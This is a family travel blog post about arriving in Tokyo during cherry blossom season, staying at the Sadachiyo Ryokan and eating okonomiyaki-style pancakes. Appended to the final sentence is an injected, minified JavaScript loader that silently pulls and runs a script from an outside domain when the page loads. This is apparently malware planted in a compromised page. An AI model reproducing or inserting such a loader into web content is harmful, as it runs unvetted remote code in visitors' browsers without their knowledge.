We had a pretty busy home office day with Skye, but everything was ready to drive to the Jones in good time.
Soon we were seating in the aircraft flying to Doha for the first leg of our Journey on Qatar Airline.
On to the next flight after a short stopover, we consumed several movies, series, quite nice airplane meals of chicken with basmati rice, then Japanese beef curry with soba noodles and a frittata for breakfast, and with a bit of sleep later we landed in Tokyo in a very crowded Narita Airport.
Right after us, a very long queue started to from behind the health check gate as the immigration lounge was reaching capacity. It took quite a while to get our fingerprints scanned and photos taken, attendants explaining that this crowd was the sakura effect (Tourists flooding en masse to Japan to experience the poetic beauty of the cherry blossoms).
Our guide Daniel expedited presentations as he was very anxious to bring us to the Japan Railway ticket booth who was expected to close at 8:00 pm and it was the time we emerged at the arrival gate. Given the long line waiting to get their passes converted, we gave up and postponed the ordeal for the next day. A 40 minutes train ride took us to Ueno station were our guide showed us were we would have to exchange our passes and make the reservations for our long distance train trips the next day. He packed us in two taxis headed to the impossibly quaint Sadachiyo Ryokan. While we checked-in, he managed to organize dinner at a traditional restaurant just around the corner.
We sat down on the ground around two plancha like tables to sample a hybrid between crepes and rösti: a bowl with seafood and or meat with lots of vegetables, an egg and batter is brought for each participant, you mix everything thoroughly and slap everything in a neat disk on the hot griddle. You flip the crepes with two spatulas, cut them in four, glaze them with a plum like dark sauce, sprinkle liberally with dried algaes and dried fish shavings, squirt some Japanese mayo on top and you are good to go! The crepes were really nice with a fresh beer. Daniel had to leave, but he came back with some tea and green tea kit-kat for the kids as a gift from the agency.
It was a fun meal, even if the boys had a hard time arranging their limbs. We Europeans are not really made for this seating on the floor position! Back at the Ryokan, the boys gave the stone bath a try while the girls settled for the en suite private tubs in their respective rooms.
The traditional rooms of Sadachiyo Ryokan are very well appointed, and we had an excellent night on the futons.;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,’script’,’https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox’);
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